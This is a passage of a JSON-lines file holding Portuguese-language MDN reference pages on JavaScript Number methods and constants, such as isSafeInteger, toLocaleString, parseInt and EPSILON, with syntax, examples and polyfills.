&&\n      Math.floor(value) === value\n    );\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.isinteger |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer tabém\n---------\n\n* O objeto `Number` a qual este método pertence."}
{"title":"Number.prototype.valueOf() - JavaScript","text":"Number.prototype.valueOf()\n==========================\n\nO método **`valueOf()`** retorna o valor primitivo contido no objeto `Number`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nnumObj.valueOf()\n```\n\n### Valor retornado\n\nUm número representando o valor primitivo do objeto `Number`.\n\nDescrição\n---------\n\nEste método normalmente é invocado internamente pelo JavaScript e não explicitamente em um código web.\n\nExemplos\n--------\n\n### Utilizando `valueOf`\n\n\n```js\nvar numObj = new Number(10);\nconsole.log(typeof numObj); // object\n\nvar num = numObj.valueOf();\nconsole.log(num); // 10\nconsole.log(typeof num); // number\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.prototype.valueof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Number.prototype.toSource()`"}
{"title":"Number.NaN - JavaScript","text":"Number.NaN\n==========\n\nA propriedade **`Number.NaN`** representa Not-A-Number (Não-Número). Equivalente a `NaN`.\n\nVocê não precisa criar um objeto `Number` para acessar esta propriedade estática (use `Number.NaN`).\n\n| Property attributes of `Number.NaN` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.nan |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto global `NaN`.\n* O objeto `Number` ao qual ele pertence."}
{"title":"Number.isSafeInteger() - JavaScript","text":"Number.isSafeInteger()\n======================\n\nO método **`Number.isSafeInteger()`** determina se o valor fornecido é seja um número seguro.\n\nExperimente\n-----------\n\nUm inteiro seguro é um inteiro que:\n\n* pode ser representando exatamente como um número IEEE-754 de dupla precisão e\n* pode ser representando exatamente como um número IEEE-754\n de precisão dupla e\n* cuja representação IEEE-754 não pode ser o resultado do arrendodamento de qualquer outro número inteiro para se ajustar ao IEEE-754.\n\nExemplo, `253 - 1` é um inteiro seguro: pode ser exatamente representado, e nenhum outro numero arredondado existe para ele na represetanção IEEE-754. Em contexto, `253` *não* é um inteiro seguro: pode ser representado em IEEE-754, mas um inteiro `253 + 1` não pode ser diretamente representado em IEEE-754 mas instanciado do arrendamento de `253` sob arrendamento para o mais próximo e do arrendamento de zero a zero. Os inteiros seguros consistem em todos os inteiros de `-(253 - 1)` inclusive para `253 - 1` (sendo ± `9007199254740991` ou ± 9,007,199,254,740,991).\n\nA manipulação de valores entre ~9 quadrilhões com precisão total requer o uso de arbitrary precision arithmetic library (biblioteca aritmética de precisão arbitrária). Veja What Every Programmer Needs to Know about Floating Point Arithmetic (o que todo programador precisa saber sobre aritmética de ponto flutuante) para mais informações sobre represetanções de número de ponto flutuante.\n\nPara números inteiros maiores, considere o uso do tipo `BigInt`.\n\nSintaxe\n-------\n```\n\nNumber.isSafeInteger(valorTest)\n```\n\n### Parâmetros\n\n`valorTest`\n\nO valor a ser testado pode ser um número inteiro seguro.\n\n### Retorno\n\nUm `Boolean` indica se o valor fornecido é um número seguro ou não.\n\nExemplos\n--------\n\n\n```js\nNumber.isSafeInteger(3); // true\nNumber.isSafeInteger(Math.pow(2, 53)); // false\nNumber.isSafeInteger(Math.pow(2, 53) - 1); // true\nNumber.isSafeInteger(NaN); // false\nNumber.isSafeInteger(Infinity); // false\nNumber.isSafeInteger(\"3\"); // false\nNumber.isSafeInteger(3.1); // false\nNumber.isSafeInteger(3.0); // true\n```\n\nPolyfill (caso não exista suporte)\n----------------------------------\n\n\n```js\nNumber.isSafeInteger =\n  Number.isSafeInteger ||\n  function (value) {\n    return (\n      Number.isInteger(value) && Math.abs(value) <= Number.MAX\\_SAFE\\_INTEGER\n    );\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.issafeinteger |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto pertence a `Number`\n* `Number.MIN_SAFE_INTEGER`\n* `Number.MAX_SAFE_INTEGER`\n* `BigInt`"}
{"title":"Number.prototype.toString() - JavaScript","text":"Number.prototype.toString()\n===========================\n\nResumo\n------\n\nO método **`toString()`** retorna uma string representando o objeto `Number` especificado.\n\nSintaxe\n-------\n```\n\nnumObj.toString([radix])\n```\n\n### Parâmetros\n\n`radix`\n\nOpcional. Um inteiro entre 2 e 36 especificando a base utilizada para representar os valores numéricos.\n\n### Exceções\n\n`RangeError` (en-US)\n\nse `toString()` receber um valor de radix fora do intervalo entre 2 e 36, uma exceção `RangeError` (en-US) é lançada.\n\nDescrição\n---------\n\nO objeto `Number` sobrescreve o método `toString()` do objeto `Object`; ele não herda de `Object.prototype.toString()`. Para objetos `Number`, o método `toString()` retorna uma representação string do objeto na base especificada.\n\nO método `toString()` analisa seu primeiro argumento e tenta retornar uma representação string na raiz (base) especificada. Para raizes maiores que 10, as letras do alfabeto indicam valores maiores que 9. Por exemplo, para números hexadecimais (base 16), letras entre `a` e `f` são utilizadas.\n\nSe o `radix` não for especificado, a raiz assumida como preferencial é a 10.\n\nSe o `numObj` for negativo, o sinal é preservado. Isto acontece mesmo se a raiz for 2; a string retornada é a representação binária positiva de `numObj` precedida por um sinal `- e` **não** o complemento de dois do `numObj`.\n\nExemplos\n--------\n\n### Exemplo: Usando `toString`\n\n\n```js\nvar count = 10;\n\nconsole.log(count.toString()); // displays '10'\nconsole.log((17).toString()); // displays '17'\n\nvar x = 6;\n\nconsole.log(x.toString(2)); // displays '110'\nconsole.log((254).toString(16)); // displays 'fe'\n\nconsole.log((-10).toString(2)); // displays '-1010'\nconsole.log((-0xff).toString(2)); // displays '-11111111'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.prototype.tostring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.prototype.toFixed()`\n* `Number.prototype.toExponential()` (en-US)\n* `Number.prototype.toPrecision()`"}
{"title":"Number.prototype.toLocaleString() - JavaScript","text":"Number.prototype.toLocaleString()\n=================================\n\nO método **`toLocaleString()`** retorna uma string com uma representação sensível a linguagem deste número.\n\nOs novos argumentos `locales` e `options` permitem às aplicações especificar a linguagem cujas convenções de formatações serão utilizadas e personalizar o comportamento da função. Nas implementações anteriores, que ignorava os argumentos `locales` e `options` arguments, a localização utilizada e a forma de retornar a string erão totalmente dependente da implementação.\n\nSintaxe\n-------\n```\n\nnumObj.toLocaleString([locales [, options]])\n```\n\n### Parâmetros\n\nDê uma olhada na seção Compatibilidade do Navegador para verificar quais navegadores suportam os argumentos `locales` e `options`, e o Exemplo: Verificando o suporte dos argumentos `locales` e `options` para detecção desta característica.\n\n**Nota:** ECMAScript Internationalization API, implementada com o Firefox 29, incluiu o argumento `locales` ao método `Number.toLocaleString()`. Se o argumento for `undefined`, este método retorna os dígitos de localização especificados pelo SO, enquanto que as versões anteriores doFirefox retornavam os dígitos Árabe Ocidental. Esta mudança foi relatada como uma regressão que afeta a retrocompatibilidade que será corrigida em breve. (Erro do Firefox 999003)\n\n`locales`\n\nOpcional. Uma string com uma tag de linguagem BCP 47 ou uma matriz delas. Para a forma geral e interpretação do argumento `locales`, veja Intl page. A seguinte chave extendida Unicode é permitida:\n\n`nu`\n\nO sistema de numeração que será usado. Os valores permitidos são: `\"arab\"`, `\"arabext\"`, `\"bali\"`, `\"beng\"`, `\"deva\"`, `\"fullwide\"`, `\"gujr\"`, `\"guru\"`, `\"hanidec\"`, `\"khmr\"`, `\"knda\"`, `\"laoo\"`, `\"latn\"`, `\"limb\"`, `\"mlym\"`, `\"mong\"`, `\"mymr\"`, `\"orya\"`, `\"tamldec\"`, `\"telu\"`, `\"thai\"`, `\"tibt\"`.\n\n\n`options`\n\nOpcional. Um objeto com alguns ou todas as seguintes propriedades:\n\n`localeMatcher`\n\nO algoritmo de comparação de localização para utilizar. Os valores permitidos são `\"lookup\"` e `\"best fit\"`; o padrão é `\"best fit\"`. Para mais informações sobre esta opção, veja Intl page.\n\n`style`\n\nO estilo do formato a ser utilizado. Os valores permitidos são `\"decimal\"` para formato de número simples, `\"currency\"` para formato monetário e `\"percent\"` para formato percentual; o padrão é `\"decimal\"`.\n\n`currency`\n\nA moeda para usar na formatação monetária. Os valores permitidos são os códigos de moedas da ISO 4217, como `\"USD\"` para dólar estadunidense, `\"EUR\"` para euro, ou `\"CNY\"` para RMB chinês — veja a Lista de códigos de moedas e fundos atuais. Não há valor padrão; se o `style` for `\"currency\"`, a propriedade `currency` deverá ser informada.\n\n`currencyDisplay`\n\nComo será mostrada a moeda na formatação monetária. Os valores permitidos são `\"symbol\"` para usar um símbolo de moeda localizado como €, `\"code\"` para usar o código de moeda ISO, `\"name\"` para usar o nome da moeda localizado como `\"dollar\"`; o padrão é `\"symbol\"`.\n\n`useGrouping`\n\nSe usar separadores de agrupamento, como separadores de milhares ou milhares/cem mil/dez milhões. Os valores permitidos são `true` e `false`; o padrão é `true`.\n\nAs próximas propriedades se dividem em dois grupos: `minimumIntegerDigits`, `minimumFractionDigits`, e `maximumFractionDigits` no primeiro grupo, `minimumSignificantDigits` and `maximumSignificantDigits` em outro. Se pelo menos uma propriedade do segundo grupo for informado, então o primeiro grupo é ignorado.\n\n`minimumIntegerDigits`\n\nA quantidade mínima de dígitos inteiros para utilizar. É possível usar valores de 1 a 21; o padrão é 1.\n\n`minimumFractionDigits`\n\nA quantidade mínima de dígitos fracionados para utilizar. É possível usar valores de 0 a 20; o padrão para formatos de números simples e percentuais é 0; o padrão para formatos monetários é a menor unidade de dígitos fornecidos pela lista de códigos de moedas ISO 4217 (2 se a lista não fornecer a informação).\n\n`maximumFractionDigits`\n\nO número máximo de dígitos fracionados para utilizar. É possível usar valores de 0 a 20; o padrão para a formatação de número simples é o maior entre `minimumFractionDigits` e 3; o padrão para formatos monetários é o maior número de dígitos entre `minimumFractionDigits` e o fornecido pela lista de códigos de moedas ISO 4217 (2 se a lista não fornecer a informação); o padrão para a formatação percentual é o maior número entre `minimumFractionDigits` e 0.\n\n`minimumSignificantDigits`\n\nA quantidade mínima de dígitos significantes para usar. Os valores permitidos são de 1 a 21; o padrão é 1.\n\n`maximumSignificantDigits`\n\nA quantidade máxima de dígitos significantes para usar. Os valores permitidos são de 1 a 21; o padrão é `minimumSignificantDigits`.\n\n\nExemplos\n--------\n\n### Usando `toLocaleString`\n\nNo uso básico sem a especificação de uma localização, o método retornará uma string formatada com a localização e as opções padrão.\n\n\n```js\nvar numero = 3500;\n\nconsole.log(numero.toLocaleString()); // Mostra \"3,500\" se a localização for U.S. English\n```\n\n### Verificando o suporte dos argumentos `locales` e `options`\n\nOs argumentos `locales` e `options` não são suportados por todos os navegadores ainda. Para verificar pelo suporte das implementações do ES5.1 e posteriores, a requisição de tags de linguagem ilegais são rejeitadas com uma exceção `RangeError` (en-US) pode ser usada da seguinte forma:\n\n\n```js\nfunction toLocaleStringSupportsLocales() {\n  var numero = 0;\n  try {\n    numero.toLocaleString(\"i\");\n  } catch (e) {\n    return e.name === \"RangeError\";\n  }\n  return false;\n}\n```\n\n\nAntes da ES5.1, implementações que não exigiam um tratamento de erro se `toLocaleString` fosse chamada com argumentos.\n\nUma verificação que funciona em todos os casos, incluindo aqueles que suportam ECMA-262 antes da edição 5.1, é testar pelas especificações de característicadas da ECMA-402 que exigem suporte de opções regionais para `Number.prototype.toLocaleString` diretamente:\n\n\n```js\nfunction toLocaleStringSupportsOptions() {\n  return !!(\n    typeof Intl == \"object\" &&\n    Intl &&\n    typeof Intl.NumberFormat == \"function\"\n  );\n}\n```\n\n\nEstes testes para um objeto `Intl` global, verifica se ele não é `null` e se uma propriedade `NumberFormat` é uma função.\n\n### Usando `locales`\n\nEste exemplo mostra algumas variações de formatos de números localizados. A fim de obter o formato da linguagem utilizada na interface do usuário da sua aplicação, tenha certeza de especificar a língua (e possivelmente algumas línguas reservas) usando o argumento `locales`:\n\n\n```js\nvar numero = 123456.789;\n\n// O alemão usa vírgula como separador de decimal e ponto para milhares\nconsole.log(numero.toLocaleString(\"de-DE\"));\n// → 123.456,789\n\n// O árabe usa dígitos Árabes Orientais em muitos países que falam árabe\nconsole.log(numero.toLocaleString(\"ar-EG\"));\n// → ١٢٣٤٥٦٫٧٨٩\n\n// A Índia usa separadores de milhares/cem mil/dez milhões\nconsole.log(numero.toLocaleString(\"en-IN\"));\n// → 1,23,456.789\n\n// A chave de extensão nu requer um sistema de numeração, ex. decimal chinês\nconsole.log(numero.toLocaleString(\"zh-Hans-CN-u-nu-hanidec\"));\n// → 一二三,四五六.七八九\n\n// Quando informada uma língua sem suporte, como balinês,\n// inclua uma língua reseva, neste caso indonésio\nconsole.log(numero.toLocaleString([\"ban\", \"id\"]));\n// → 123.456,789\n```\n\n### Usando `options`\n\nOs resultados obtidos por `toLocaleString` pode ser personalizado usando o argumento `options`:\n\n\n```js\nvar numero = 123456.789;\n\n// informando um formato de moeda\nconsole.log(\n  numero.toLocaleString(\"de-DE\", { style: \"currency\", currency: \"EUR\" }),\n);\n// → 123.456,79 €\n\n// o yen japonês não tem uma unidade menor\nconsole.log(\n  numero.toLocaleString(\"ja-JP\", { style: \"currency\", currency: \"JPY\" }),\n);\n// → ￥123,457\n\n// limitando a três dígitos significativos\nconsole.log(numero.toLocaleString(\"en-IN\", { maximumSignificantDigits: 3 }));\n// → 1,23,000\n```\n\nDesempenho\n----------\n\nQuando formatar uma grande quantidade de números, é melhor criar um objeto `NumberFormat` e usar a função fornecida pela propriedade `NumberFormat.format` (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.prototype.tolocalestring |\n| ECMAScript Internationalization API Specification # sup-number.prototype.tolocalestring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.prototype.toString()`"}
{"title":"Number.POSITIVE_INFINITY - JavaScript","text":"Number.POSITIVE\\_INFINITY\n=========================\n\nA propriedade **`Number.POSITIVE_INFINITY`** representa o valor positivo infinito.\n\nVocê não precisa criar um objeto `Number` para utilizar a propriedade estática (use `Number.POSITIVE_INFINITY`).\n\n| Property attributes of `Number.POSITIVE_INFINITY` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nO valor de `Number.POSITIVE_INFINITY` é o mesmo valor da propriedade `Infinity` do objeto global.\n\nEsse valor se comporta ligeiramente diferente do infinito matemático:\n\n* Qualquer valor positivo, incluindo `POSITIVE_INFINITY`, multiplicado por `POSITIVE_INFINITY` é `POSITIVE_INFINITY`.\n* Qualquer valor negativo, incluindo, `NEGATIVE_INFINITY`, multiplicado por `POSITIVE_INFINITY` é `NEGATIVE_INFINITY`.\n* Qualquer número positivo dividido por `POSITIVE_INFINITY` é Zero positivo.\n* Qualquer número negativo dividido por `POSITIVE_INFINITY` é Zero negativo.\n* Zero multiplicado por `POSITIVE_INFINITY` é `NaN`.\n* `NaN` multiplicado por `POSITIVE_INFINITY` é `NaN`.\n* `POSITIVE_INFINITY`, dividido por qualquer valor negativo exceto `NEGATIVE_INFINITY`, é `NEGATIVE_INFINITY`.\n* `POSITIVE_INFINITY`, dividido por qualquer valor positivo exceto `POSITIVE_INFINITY`, é `POSITIVE_INFINITY`.\n* `POSITIVE_INFINITY`, dividido por `NEGATIVE_INFINITY` ou `POSITIVE_INFINITY`, é `NaN`.\n\nVocê pode usar a propriedade `Number.POSITIVE_INFINITY` para indicar uma condição de erro que retorna um número finito no caso de sucesso. Sobretudo, `isFinite` seria mais apropriado nesse caso.\n\nExemplos\n--------\n\n### Usando `POSITIVE_INFINITY`\n\nNo exemplo a seguir, a variável `bigNumber` recebe um valor maior que o valor máximo. Quando as declarações `if` executam, `bigNumber` tem o valor `Infinity`, então `bigNumber` recebe um valor mais gerenciável antes de continuar.\n\n\n```js\nvar bigNumber = Number.MAX\\_VALUE \\* 2;\n\nif (bigNumber == Number.POSITIVE\\_INFINITY) {\n  bigNumber = returnFinite();\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.positive\\_infinity |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Number.NEGATIVE_INFINITY`\n* `Number.isFinite()`\n* `Infinity`\n* `isFinite()`"}
{"title":"Number.parseInt() - JavaScript","text":"Number.parseInt()\n=================\n\nO método **`Number.parseInt()`** converte um argumento de *string* e retorna um inteiro da raiz ou base específica.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nNumber.parseInt(string,[ radix])\n```\n\n### Parâmetros\n\n`string`\n\nO valor a ser convertido. Se este argumento não for uma *string*, então ele é convertido a um usando a operação abstrata `ToString`. O espaço em branco inicial neste argumento é ignorado.\n\n`radix`\\_ Optional\\_\n\nUm inteiro entre `2` e `36` que representa a *raiz* (a base no sistema numérico matemático) de uma `string`. Tome cuidado—o padrão ***não*** é `10`!\n\n### Valor de retorno\n\nUm inteiro convertido de uma dada `string`.\n\nSe a `radix` é menor que `2` ou maior que `36`, e o primeiro caracter que não é um espaço em branco não puder ser convertido para um número, `NaN` é retornado.\n\nPolyfill\n--------\n\n\n```js\nif (Number.parseInt === undefined) {\n  Number.parseInt = window.parseInt;\n}\n```\n\nExemplos\n--------\n\n### Number.parseInt vs parseInt\n\nEste método tem a mesma funcionalidade que o método global `parseInt()`:\n\n\n```js\nNumber.parseInt === parseInt; // true\n```\n\n\ne é parte do ECMAScript 2015 (sua proposta é a modularização dos globais). Por favor veja `parseInt()` para mais detalhes e exemplos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.parseint |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto `Number` a qual ela pertence.\n* O método global `parseInt()`."}
{"title":"Number.MAX_SAFE_INTEGER - JavaScript","text":"Number.MAX\\_SAFE\\_INTEGER\n=========================\n\nA constante **`Number.MAX_SAFE_INTEGER`** representa o maior inteiro seguro no JavaScript (`253 - 1`).\n\nPara inteiros maiores, considere usar `BigInt`.\n\nExperimente\n-----------\n\n| Property attributes of `Number.MAX_SAFE_INTEGER` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nA constante `MAX_SAFE_INTEGER` tem o valor de `9007199254740991` (9,007,199,254,740,991 ou ~9 quadrilhões). A razão por trás deste número é que o JavaScript usa o formato de número de ponto-flutuante de precisão-dupla como especificado na IEEE 754 e pode seguramente representar número entre `-(253 - 1)` e `253 - 1`.\n\nSeguro neste contexto se refere a habilidade de representar inteiros exatamente e corretamente compará-los. Por exemplo, `Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2` será avaliado para verdadeiro, que é matematicamente incorreto. Veja `Number.isSafeInteger()` para mais informação.\n\nEste campo não existe em navegadores antigos. Usando ele sem checar sua existência, como `Math.max(Number.MAX_SAFE_INTEGER, 2)`, irá gerar resultados indesejados como NaN.\n\nPor `MAX_SAFE_INTEGER` ser uma propriedade estática de `Number`, você sempre deve usar como `Number.MAX_SAFE_INTEGER`, ao invés de uma propriedade do objeto `Number` que você criou.\n\nPolyfill\n--------\n\n\n```js\nif (!Number.MAX\\_SAFE\\_INTEGER) {\n  Number.MAX\\_SAFE\\_INTEGER = 9007199254740991; // Math.pow(2, 53) - 1;\n}\n```\n\nExemplos\n--------\n\n### Retorno do valor de MAX\\_SAFE\\_INTEGER\n\n\n```js\nNumber.MAX\\_SAFE\\_INTEGER; // 9007199254740991\n```\n\n### Números maiores que o inteiro seguro\n\nIsso retorna 2 por quê em pontos flutuantes, o valor é na verdade o final decimal \"1\" exceto em casos subnormais de precisão como zero.\n\n\n```js\nNumber.MAX\\_SAFE\\_INTEGER \\* Number.EPSILON; // 2\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.max\\_safe\\_integer |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.MIN_SAFE_INTEGER`\n* `Number.isSafeInteger()`\n* `BigInt`"}
{"title":"Number.MIN_VALUE - JavaScript","text":"Number.MIN\\_VALUE\n=================\n\nA propriedade **`Number.MIN_VALUE`** representa o menor valor positivo numérico representável em JavaScript.\n\nExperimente\n-----------\n\n| Property attributes of `Number.MIN_VALUE` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nA propriedade `MIN_VALUE` é o número mais próximo de 0, não o número mais negativo, que o JavaScript pode representar.\n\n`MIN_VALUE` tem o valor de aproximadamente `5e-324`. Valores menores que `MIN_VALUE` (\"valores de underflow\") são convertidos para 0.\n\nPor `MIN_VALUE` ser uma propriedade estática de `Number`, você sempre deve usar como `Number.MIN_VALUE`, ao invés de uma propriedade do objeto `Number` que você criou.\n\nExemplos\n--------\n\n### Usando `MIN_VALUE`\n\nO seguinte código divide dois valores numéricos. Se o resultado é maior ou igual a `MIN_VALUE`, a função `func1` é chamada; caso contrário, a função `func2` é chamada.\n\n\n```js\nif (num1 / num2 >= Number.MIN\\_VALUE) {\n  func1();\n} else {\n  func2();\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.min\\_value |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.MAX_VALUE`"}
{"title":"Number.parseFloat() - JavaScript","text":"Number.parseFloat()\n===================\n\nResumo\n------\n\nO método **Number.parseFloat()** converte a string recebida como argumento e a retorna como um número de ponto flutuante. Este método se comporta de maneira idêntica a da função global `parseFloat` e é parte da especificação ECMAScript 6 (seu propósito é a modularização dos objetos globais).\n\nSintaxe\n-------\n```\n\nNumber.parseFloat(string)\n```\n\n### Parâmetros\n\n`string`\n\nUma string que represente o valor que se deseja converter.\n\n### Retorno\n\n`string`\n\nUm número de ponto flutuante a partir da string dada. Se a string não puder ser convertida em para um número, `NaN` é retornado.\n\nDescrição\n---------\n\nEste método tem a mesma funcionalidade do método global: `parseFloat()`\n```\n\nNumber.parseFloat === parseFloat; // true\n```\n\n\nPor favor veja `parseFloat()` para mais detalhes e exemplos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.parsefloat |\n\nCompatibilidade dos Navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto `Number` ao qual o método parseFloat pertence.\n* O método global `parseFloat()`."}
{"title":"Number.isNaN() - JavaScript","text":"Number.isNaN()\n==============\n\nResumo\n------\n\nO método **`Number.isNaN()`** determina se o valor passado é `NaN`. Versão mais robusta do original global `isNaN`.\n\nSintaxe\n-------\n```\n\nNumber.isNaN(testValue)\n```\n\n### Parâmetros\n\n`testValue`\n\nO valor a ser testado por `NaN`.\n\nDescrição\n---------\n\nDevido a ambos os operadores de igualdade, == and ===, avaliar a `false` quando está verificando se `NaN` *é* NaN, a função `Number.isNaN` se torna necessária. Esta situação é diferente de todas as outras comparações de valor possível em JavaScript.\n\nEm comparação a função global `isNaN`, Number.isNaN não sofre do problema de forçar a conversão do parâmetro para um número. Isso significa que ele é seguro para passar valores que, normalmente, se convertem em NaN, mas na verdade não são o mesmo valor que NaN. Isto também significa que apenas os valores do número do tipo, que são também NaN, retorna `true`.\n\nExemplos\n--------\n\n\n```js\nNumber.isNaN(NaN); // true\nNumber.isNaN(Number.NaN); // true\nNumber.isNaN(0 / 0); // true\n\n// everything else: false\nNumber.isNaN(undefined);\nNumber.isNaN({});\n\nNumber.isNaN(true);\nNumber.isNaN(null);\nNumber.isNaN(37);\n\nNumber.isNaN(\"37\");\nNumber.isNaN(\"37.37\");\nNumber.isNaN(\"\");\nNumber.isNaN(\" \");\nNumber.isNaN(\"NaN\");\nNumber.isNaN(\"blabla\"); // e.g. este teria sido true com isNaN\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.isnan |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O `Number` objeto pertence a."}
{"title":"Number.isFinite() - JavaScript","text":"Number.isFinite()\n=================\n\nO método **`Number.isFinite()`** determina se o valor passado é um número finito.\n\nSintaxe\n-------\n```\n\nNumber.isFinite(valor)\n```\n\n### Parâmetros\n\n`valor`\n\nO valor a ser testado.\n\n### Retorno\n\nUm `Boolean` indicando se o valor passado é ou não um número finito.\n\nDescrição\n---------\n\nEm comparação com a função global `isFinite()`, esse método não força a conversão do parâmetro para número. Isso significa que só valores do tipo número, que são também finitos, retornam `true`.\n\nExemplos\n--------\n\n\n```js\nNumber.isFinite(Infinity); // false\nNumber.isFinite(NaN); // false\nNumber.isFinite(-Infinity); // false\n\nNumber.isFinite(0); // true\nNumber.isFinite(2e64); // true\n\nNumber.isFinite(\"0\"); // false, teria sido true com a função\n// global isFinite('0')\nNumber.isFinite(null); // false, teria sido true com a função\n// global isFinite(null)\n```\n\nPolyfill\n--------\n\n\n```js\nNumber.isFinite =\n  Number.isFinite ||\n  function (value) {\n    return typeof value === \"number\" && isFinite(value);\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.isfinite |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto `Number` ao qual pertence."}
{"title":"Number.EPSILON - JavaScript","text":"Number.EPSILON\n==============\n\nA propriedade **`Number.EPSILON`** representa a diferença entre 1 e o menor ponto flutuante maior que 1.\n\nVocê não tem que criar um objeto `Number` para acessar esta propriedade estática (use `Number.EPSILON`).\n\nExperimente\n-----------\n\n| Property attributes of `Number.EPSILON` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nA propriedade `EPSILON` tem o valor de aproximadamente `2.2204460492503130808472633361816E-16`, ou `2-52`.\n\nPolyfill\n--------\n\n\n```js\nif (Number.EPSILON === undefined) {\n  Number.EPSILON = Math.pow(2, -52);\n}\n```\n\nExemplos\n--------\n\n### Testando igualdade\n\n\n```js\nx = 0.2;\ny = 0.3;\nz = 0.1;\nequal = Math.abs(x - y + z) < Number.EPSILON;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.epsilon |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto `Number` que esta propriedade pertence."}
{"title":"Number.MIN_SAFE_INTEGER - JavaScript","text":"Number.MIN\\_SAFE\\_INTEGER\n=========================\n\nA constante **`Number.MIN_SAFE_INTEGER`** representa o menor inteiro seguro no JavaScript (`-(253 - 1)`).\n\nPara representar inteiros menores do que isso, considere usar `BigInt`.\n\nExperimente\n-----------\n\n| Property attributes of `Number.MIN_SAFE_INTEGER` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nA constante `MIN_SAFE_INTEGER` tem o valor de `-9007199254740991` (-9,007,199,254,740,991 ou -9 quadrilhões). A razão por trás deste número é que o JavaScript usa o formato de número de ponto-flutuante de precisão-dupla como especificado na IEEE 754 e pode seguramente representar número entre `-(253 - 1)` e `253 - 1`. Veja `Number.isSafeInteger()` para mais informações.\n\nPor `MIN_SAFE_INTEGER` ser uma propriedade estática de `Number`, você sempre deve usar como `Number.MIN_SAFE_INTEGER`, ao invés de uma propriedade do objeto `Number` que você criou.\n\nExemplos\n--------\n\n### Usando MIN\\_SAFE\\_INTEGER\n\n\n```js\nNumber.MIN\\_SAFE\\_INTEGER; // -9007199254740991\n-(Math.pow(2, 53) - 1); // -9007199254740991\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.min\\_safe\\_integer |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.MAX_SAFE_INTEGER`\n* `Number.isSafeInteger()`\n* `BigInt`"}
